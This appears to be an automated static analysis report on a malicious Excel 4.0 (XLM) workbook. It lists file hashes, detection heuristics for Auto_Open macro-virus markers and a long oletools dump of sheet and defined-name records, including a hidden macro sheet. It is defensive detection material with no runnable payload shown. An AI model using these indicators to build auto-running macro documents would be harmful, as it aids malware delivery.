Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 53ab53798d206f0b…

MALICIOUS

Office (OLE)

63.5 KB Created: 2011-12-12 14:44:35 Authoring application: WPS Office ¸öÈË°æ First seen: 2015-10-06
MD5: bb7f560e9d671a004324bbf66b5d1180 SHA-1: 66c58cd7d7686991d47ddb7993564ba65ebe3964 SHA-256: 53ab53798d206f0b3a7f17ee64a9ed85617eab45e5b1120766094ded306947ee
260 Risk Score

Heuristics 5

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Legacy Excel formula macro virus marker critical OLE_XLS_FORMULA_MACRO_VIRUS
    Workbook stream contains self-identifying legacy Excel formula macro virus markers. This indicates the document carries formula macro virus content even when no VBA project or modern XLM macro-sheet structure is present.
  • Legacy XLM macro-virus family marker critical OLE_XLM_LEGACY_MACRO_VIRUS
    Workbook contains an Excel 4.0 macro sheet and legacy macro-virus family or workbook-replication strings. This is a narrow indicator for infected XLM workbooks rather than ordinary formula use.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 31510 bytes
SHA-256: 29808a92e465968018af7b8a767518d7b870a6435023d744e1943e122686afce
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, hidden -  JHSNWPO
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  XL4Popp
' 0018     31 LABEL : Cell Value, String Constant - _Fill hidden len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0f\x00m\x00m\x00m\x00m\x00'
' 0018     32 LABEL : Cell Value, String Constant - aiu_bottom len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x10\x00\t\t\t\t'
' 0018     27 LABEL : Cell Value, String Constant - Alpha len=7 ptgRef3d 5!D3 
' 0018     30 LABEL : Cell Value, String Constant - Anzahl_1 len=7 ptgRef3d 5!G38 
' 0018     30 LABEL : Cell Value, String Constant - Anzahl_2 len=7 ptgRef3d 5!G39 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 2 Auto_Close len=7 ptgRef3d 24!C4 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d 24!C4 
' 0018     18 LABEL : Cell Value, String Constant - BCM len=0 
' 0018     33 LABEL : Cell Value, String Constant - Beg_Bal len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00\x11\x00x\x01\x02\x00\x02\x00'
' 0018     29 LABEL : Cell Value, String Constant - BOMView len=7 ptgRef3d  Sheet!G33 
' 0018     26 LABEL : Cell Value, String Constant - Bust len=7 ptgRef3d 24!C31 
' 0018     26 LABEL : Cell Value, String Constant - Bust len=7 ptgRef3d 20!C31 
' 0018     36 LABEL : Cell Value, String Constant - Cnty_Codes len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x03\x00D\x00\x03\x00\x03\x00'
' 0018     30 LABEL : Cell Value, String Constant - Continue len=7 ptgRef3d 24!C9 
' 0018     30 LABEL : Cell Value, String Constant - Continue len=7 ptgRef3d 20!C9 
' 0018     30 LABEL : Cell Value, String Constant - Data len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00\x11\x00x\x01\x00\x00\x08\x00'
' 0018     33 LABEL : Cell Value, String Constant - Devices len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x06\x00\x04\x00\xac\x00\x01\x00\x01\x00'
' 0018     39 LABEL : Cell Value, String Constant - Devices_Table len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x06\x00\x00\x00\xff\xff\x01\x00\x0b\x00'
' 0018    125 LABEL : Cell Value, String Constant - Document_array len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x02\x00\x00P\xd3\xcc\x01'
' 0018     87 LABEL : Cell Value, String Constant - Document_array len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x00\x94\xb3?\x02'
' 0018     41 LABEL : Cell Value, String Constant - Documents_array len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x18\x00\x00\x00\x0f\x00\x01\x00\x01\x00'
' 0018     41 LABEL : Cell Value, String Constant - Documents_array len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x14\x00\x00\x00\x0f\x00\x01\x00\x01\x00'
' 0018     30 LABEL : Cell Value, String Constant - Duty len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\x06\x00\x1f\x00\x0c\x00\x0c\x00'
' 0018     33 LABEL : Cell Value, String Constant - End_Bal len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00\x11\x00x\x01\x08\x00\x08\x00'
' 0018     35 LABEL : Cell Value, String Constant - Extra_Pay len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00\x11\x00x\x01\x04\x00\x04\x00'
' 0018     28 LABEL : Cell Value, String Constant - Extra_Payment len=0 
' 0018     25 LABEL : Cell Value, String Constant - FRC len=7 ptgRef3d 11!C9 
' 0018     36 LABEL : Cell Value, String Constant - Full_Print len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00\x00\x00x\x01\x00\x00\x08\x00'
' 0018     40 LABEL : Cell Value, String Constant - Header_Row len=15 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00\x10\x00\x10\x00\x00\x00\xff\x00b\x01\x08\x00'
' 0018     27 LABEL : Cell Value, String Constant - Hello len=7 ptgRef3d 24!A15 
' 0018     27 LABEL : Cell Value, String Constant - Hello len=7 ptgRef3d 20!A15 
' 0018     29 LABEL : Cell Value, String Constant - hostfee len=7 ptgRef3d 16!H12 
' 0018     34 LABEL : Cell Value, String Constant - hraiu_bottom len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x10\x00\n\n\n\n'
' 0018     26 LABEL : Cell Value, String Constant - hvac len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x10\x00\x12\x12\x12\x12'
' 0018     25 LABEL : Cell Value, String Constant - HWSheet len=3 ptgInt 1 
' 0018     30 LABEL : Cell Value, String Constant - Ieff len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\x06\x00\x1f\x00\x0e\x00\x0e\x00'
' 0018     30 LABEL : Cell Value, String Constant - Imax len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\x06\x00\x1f\x00\n\x00\n\x00'
' 0018     29 LABEL : Cell Value, String Constant - Int len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00\x11\x00x\x01\x07\x00\x07\x00'
' 0018     35 LABEL : Cell Value, String Constant - Interest_Rate len=7 ptgRef3d  Sheet!D7 
' 0018    104 LABEL : Cell Value, String Constant - JC22 hidden len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x01\x00\x08\xb4?\x02'
' 0018    104 LABEL : Cell Value, String Constant - JC22 hidden len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x01\x00\x10\xd4\xcc\x01'
' 0018     28 LABEL : Cell Value, String Constant - K_Imax len=7 ptgRef3d  JHSNWPO!BG8 
' 0018     64 LABEL : Cell Value, String Constant - Last_Row len=41 ptgNameXA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x15\x00\x86\x00\x00\x00\x19\x02\x11\x00c\x1d\x00\x00\x00y\x15\x00<\x00\x00\x00\x03\x19\x08\x0c\x00#\x1d\x00\x00\x00\x19\x08\x03\x00"\x03\x01\x00'
' 0018     60 LABEL : Cell Value, String Constant - Last_Row len=37 ptgNameA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x87\x00\x00\x00\x19\x02\x0f\x00c\x1d\x00\x00\x00c=\x00\x00\x00\x03\x19\x08\x0c\x00#\x1d\x00\x00\x00\x19\x08\x03\x00"\x03\x01\x00'
' 0018     33 LABEL : Cell Value, String Constant - Loan_Amount len=7 ptgRef3d  Sheet!D6 
' 0018     32 LABEL : Cell Value, String Constant - Loan_Start len=7 ptgRef3d  Sheet!D10 
' 0018     32 LABEL : Cell Value, String Constant - Loan_Years len=7 ptgRef3d  Sheet!D8 
' 0018     30 LABEL : Cell Value, String Constant - LTol len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\x06\x00\x1f\x00\x0b\x00\x0b\x00'
' 0018     28 LABEL : Cell Value, String Constant - MakeIt len=7 ptgRef3d 24!A26 
' 0018     28 LABEL : Cell Value, String Constant - MakeIt len=7 ptgRef3d 20!A26 
' 0018     90 LABEL : Cell Value, String Constant - MmExcelLinker_4795041E_1062_4A6D_901F_4306994608A4 len=25 ptgRef3dA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x17\x00\r\x00\x0c\xc0c\x08\x00\x00\x00\x04{\x16\x002\x004\x00\x01\x00\x01\x00\x04'
' 0018     90 LABEL : Cell Value, String Constant - MmExcelLinker_4795041E_1062_4A6D_901F_4306994608A4 len=25 ptgRef3dA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x08\x00\r\x00\x0c\xc0c\x08\x00\x00\x00\x04{\x07\x002\x004\x00\x01\x00\x01\x00\x04'
' 0018     37 LABEL : Cell Value, String Constant - Module.Prix_SMC len=7 ptgNameX  NAMEIDX 53 
' 0018     37 LABEL : Cell Value, String Constant - Module.Prix_SMC len=7 ptgNameX  NAMEIDX 54 
' 0018     29 LABEL : Cell Value, String Constant - Morning len=7 ptgRef3d 24!C39 
' 0018     29 LABEL : Cell Value, String Constant - Morning len=7 ptgRef3d 20!C39 
' 0018     27 LABEL : Cell Value, String Constant - N len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\x06\x00\x1f\x00\x15\x00\x15\x00'
' 0018     30 LABEL : Cell Value, String Constant - NDev len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\x06\x00\x1f\x00\x12\x00\x12\x00'
' 0018     38 LABEL : Cell Value, String Constant - Num_Pmt_Per_Year len=7 ptgRef3d  Sheet!D9 
' 0018     64 LABEL : Cell Value, String Constant - Number_of_Payments len=31 ptgNum FLOAT 0.010000 ptgName 0x00000018 ptgNum FLOAT -1.000000 ptgFuncVarA args 3 func MATCH (0x0040) ptgInt 1 ptgAdd 
' 0018     64 LABEL : Cell Value, String Constant - Number_of_Payments len=31 ptgNum FLOAT 0.010000 ptgName 0x00000018 ptgNum FLOAT -1.000000 ptgFuncVarA args 3 func MATCH (0x0040) ptgInt 1 ptgAdd 
' 0018     31 LABEL : Cell Value, String Constant - NumModels len=7 ptgRef3d  Sheet!G24 
' 0018     28 LABEL : Cell Value, String Constant - On len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\x06\x00\x1f\x00\x0f\x00\x0f\x00'
' 0018     28 LABEL : Cell Value, String Constant - OS len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\n\x00\x05\x80\x05\x80\x05\x80\x05\x80'
' 0018     33 LABEL : Cell Value, String Constant - P_Mos_Ges_1 len=7 ptgRef3d 5!N38 
' 0018     33 LABEL : Cell Value, String Constant - P_Mos_ges_2 len=7 ptgRef3d 5!N39 
' 0018     33 LABEL : Cell Value, String Constant - P_pro_Mos_1 len=7 ptgRef3d 5!M38 
' 0018     33 LABEL : Cell Value, String Constant - P_pro_Mos_2 len=7 ptgRef3d 5!M39 
' 0018     29 LABEL : Cell Value, String Constant - PA7 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0c\x00\xa3\x02\xa3\x02\xa3\x02\xa3\x02'
' 0018     29 LABEL : Cell Value, String Constant - PA8 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0c\x00\xd8\x02\xd8\x02\xd8\x02\xd8\x02'
' 0018     34 LABEL : Cell Value, String Constant - Pay_Date len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00\x11\x00x\x01\x01\x00\x01\x00'
' 0018     33 LABEL : Cell Value, String Constant - Pay_Num len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00\x11\x00x\x01\x00\x00\x00\x00'
' 0018     60 LABEL : Cell Value, String Constant - Payment_Date len=33 ptgNameA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'.\x00\x00\x00aE\x00c.\x00\x00\x00aD\x00cK\x00\x00\x00\x03c.\x00\x00\x00aC\x00aA\x00'
' 0018     60 LABEL : Cell Value, String Constant - Payment_Date len=33 ptgNameA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'.\x00\x00\x00aE\x00c.\x00\x00\x00aD\x00cK\x00\x00\x00\x03c.\x00\x00\x00aC\x00aA\x00'
' 0018     29 LABEL : Cell Value, String Constant - Payment_Number len=0 
' 0018     29 LABEL : Cell Value, String Constant - PD1 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0c\x00S\x05S\x05S\x05S\x05'
' 0018     30 LABEL : Cell Value, String Constant - PE12 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0c\x00\xf0\t\xf0\t\xf0\t\xf0\t'
' 0018     30 LABEL : Cell Value, String Constant - PE13 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0c\x00\x99\n\x99\n\x99\n\x99\n'
' 0018     29 LABEL : Cell Value, String Constant - PE6 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0c\x00\x0c\t\x0c\t\x0c\t\x0c\t'
' 0018     29 LABEL : Cell Value, String Constant - PE7 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0c\x00E\tE\tE\tE\t'
' 0018     29 LABEL : Cell Value, String Constant - PE8 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0c\x00~\t~\t~\t~\t'
' 0018     29 LABEL : Cell Value, String Constant - PE9 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0c\x00\xb7\t\xb7\t\xb7\t\xb7\t'
' 0018     29 LABEL : Cell Value, String Constant - PH1 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0c\x00\x19\t\x19\t\x19\t\x19\t'
' 0018     29 LABEL : Cell Value, String Constant - PI1 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0c\x00D\tD\tD\tD\t'
' 0018     29 LABEL : Cell Value, String Constant - PK1 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0c\x00R\tR\tR\tR\t'
' 0018     29 LABEL : Cell Value, String Constant - PK3 len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x0c\x00n\nn\nn\nn\n'
' 0018     27 LABEL : Cell Value, String Constant - Poppy len=7 ptgRef3d 24!C27 
' 0018     27 LABEL : Cell Value, String Constant - Poppy len=7 ptgRef3d 20!C27 
' 0018     36 LABEL : Cell Value, String Constant - pr_toolbox len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x11\x00\x02\x00O\x00\x00\x00\x08\x00'
' 0018     31 LABEL : Cell Value, String Constant - Princ len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00\x11\x00x\x01\x06\x00\x06\x00'
' 0018     57 LABEL : Cell Value, String Constant - Print_Area_Reset len=26 ptgAttr ptgName 0x0000001c ptgInt 0 ptgInt 0 ptgNameXV  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x15\x00+\x00\x00\x00"\x04N\x00'
' 0018     55 LABEL : Cell Value, String Constant - Print_Area_Reset len=24 ptgAttr ptgName 0x0000001c ptgInt 0 ptgInt 0 ptgNameV  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b',\x00\x00\x00"\x04N\x00'
' 0018     30 LABEL : Cell Value, String Constant - Prix_SMC len=7 ptgNameX  NAMEIDX 93 
' 0018     30 LABEL : Cell Value, String Constant - Prix_SMC len=7 ptgNameX  NAMEIDX 94 
' 0018     28 LABEL : Cell Value, String Constant - Pv len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\x06\x00\x1f\x00\x18\x00\x18\x00'
' 0018     32 LABEL : Cell Value, String Constant - RDSon_25_1 len=7 ptgRef3d 5!I38 
' 0018     32 LABEL : Cell Value, String Constant - RDSon_25_2 len=7 ptgRef3d 5!I39 
' 0018     34 LABEL : Cell Value, String Constant - RDSon_Last_1 len=7 ptgRef3d 5!L38 
' 0018     34 LABEL : Cell Value, String Constant - RDSon_Last_2 len=7 ptgRef3d 5!L39 
' 0018     29 LABEL : Cell Value, String Constant - Ron len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\x06\x00\x1f\x00\x13\x00\x13\x00'
' 0018     27 LABEL : Cell Value, String Constant - Rth_H len=7 ptgRef3d  JHSNWPO!BG10 
' 0018     32 LABEL : Cell Value, String Constant - Rth_JA len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\x06\x00\x1f\x00\x19\x00\x19\x00'
' 0018     32 LABEL : Cell Value, String Constant - Rth_JC len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\x06\x00\x1f\x00\x1b\x00\x1b\x00'
' 0018     27 LABEL : Cell Value, String Constant - RTHca len=7 ptgRef3d 5!D9 
' 0018     27 LABEL : Cell Value, String Constant - RTHjc len=7 ptgRef3d 5!D8 
' 0018     34 LABEL : Cell Value, String Constant - s_c_list len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x12\x00\x06\x00\xc8\x03\x00\x00\x07\x00'
' 0018     29 LABEL : Cell Value, String Constant - SCG len=11 ptgAreaErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x13\x00\x04\x00\x04\x00\x04\x00\x04\x00'
' 0018     35 LABEL : Cell Value, String Constant - Sched_Pay len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00\x11\x00x\x01\x03\x00\x03\x00'
' 0018     46 LABEL : Cell Value, String Constant - Scheduled_Extra_Payments len=7 ptgRef3d  Sheet!D11 
' 0018     45 LABEL : Cell Value, String Constant - Scheduled_Interest_Rate len=7 ptgRef3d  Sheet!D7 
' 0018     47 LABEL : Cell Value, String Constant - Scheduled_Monthly_Payment len=7 ptgRef3d  Sheet!H6 
' 0018     32 LABEL : Cell Value, String Constant - Scheduled_Payment len=0 
' 0018     28 LABEL : Cell Value, String Constant - sdlfee len=7 ptgRef3d 16!H13 
' 0018     33 LABEL : Cell Value, String Constant - solar_ratio len=7 ptgRef3d 14!H7 
' 0018     28 LABEL : Cell Value, String Constant - ss7fee len=7 ptgRef3d 16!H18 
' 0018     29 LABEL : Cell Value, String Constant - Strom_1 len=7 ptgRef3d 5!H38 
' 0018     29 LABEL : Cell Value, String Constant - Strom_2 len=7 ptgRef3d 5!H39 
' 0018     33 LABEL : Cell Value, String Constant - SUB75N05_06 len=7 ptgRef3d 5!G31 
' 0018     29 LABEL : Cell Value, String Constant - subsfee len=7 ptgRef3d 16!H14 
' 0018     29 LABEL : Cell Value, String Constant - Temp_25 len=7 ptgRef3d 5!D4 
' 0018     24 LABEL : Cell Value, String Constant - Ti len=7 ptgRef3d  JHSNWPO!BC33 
' 0018     28 LABEL : Cell Value, String Constant - Tj len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x00\x06\x00\x1f\x00\x1a\x00\x1a\x00'
' 0018     32 LABEL : Cell Value, String Constant - TMos_ges_1 len=7 ptgRef3d 5!K38 
' 0018     32 LABEL : Cell Value, String Constant - TMos_ges_2 len=7 ptgRef3d 5!K39 
' 0018     33 LABEL : Cell Value, String Constant - toolbox len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\r\x00\x04\x00)\x06\x02\x00\x13\x00'
' 0018     36 LABEL : Cell Value, String Constant - Total_Interest len=7 ptgRef3d  Sheet!H10 
' 0018     35 LABEL : Cell Value, String Constant - Total_Pay len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00\x11\x00x\x01\x05\x00\x05\x00'
' 0018     39 LABEL : Cell Value, String Constant - Total_Payment len=11 ptgNameA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'p\x00\x00\x00c\x1a\x00\x00\x00\x03'
' 0018     39 LABEL : Cell Value, String Constant - Total_Payment len=11 ptgNameA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'p\x00\x00\x00c\x1a\x00\x00\x00\x03'
' 0018     24 LABEL : Cell Value, String Constant - Tu len=7 ptgRef3d  JHSNWPO!BG9 
' 0018     27 LABEL : Cell Value, String Constant - TUmax len=7 ptgRef3d 5!D7 
' 0018     24 LABEL : Cell Value, String Constant - Un len=7 ptgRef3d  JHSNWPO!BG7 
' 0018     29 LABEL : Cell Value, String Constant - V5.1Fee len=7 ptgRef3d 16!H15 
' 0018     78 LABEL : Cell Value, String Constant - Values_Entered len=49 ptgNameA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'-\x00\x00\x00c\'\x00\x00\x00\x05c/\x00\x00\x00\x05c.\x00\x00\x00\x05\x1e\x00\x00\r\x19\x02\x07\x00\x1e\x01\x00\x19\x08\n\x00\x1e\x00\x00\x19\x08\x03\x00"\x03\x01\x00'
' 0018     78 LABEL : Cell Value, String Constant - Values_Entered len=49 ptgNameA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'-\x00\x00\x00c\'\x00\x00\x00\x05c/\x00\x00\x00\x05c.\x00\x00\x00\x05\x1e\x00\x00\r\x19\x02\x07\x00\x1e\x01\x00\x19\x08\n\x00\x1e\x00\x00\x19\x08\x03\x00"\x03\x01\x00'
' 0018    127 LABEL : Cell Value, String Constant - wrn.Cash._.Flow._.Trackers. hidden len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x01\x00\x84\xb7?\x02'
' 0018    127 LABEL : Cell Value, String Constant - wrn.Cash._.Flow._.Trackers. hidden len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\x01\x00\xd4\x8e\xcc\x01'
' 0018    568 LABEL : Cell Value, String Constant - wrn.Full._.Package._.Print. hidden len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\t\x00$\xb8?\x02'
' 0018    568 LABEL : Cell Value, String Constant - wrn.Full._.Package._.Print. hidden len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x03\t\x00 \x8a\xcc\x01'
' 0018     28 LABEL : Cell Value, String Constant - ww len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b"\x04\x00\x06\x00'\x00\x10\x00\x10\x00"
' 0018     34 LABEL : Cell Value, String Constant - Z32_Cost_red len=7 ptgRefErr3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x10\x00\n\n\n\n'
' 0018     30 LABEL : Cell Value, String Constant - Zustand1 len=7 ptgRef3d 5!F38 
' 0018     30 LABEL : Cell Value, String Constant - Zustand2 len=7 ptgRef3d 5!F39 
' 0018     36 LABEL : Cell Value, String Constant -   ^JT len=11 ptgMemAreaV  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'UchHh;\t\x00\x01\x00'
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
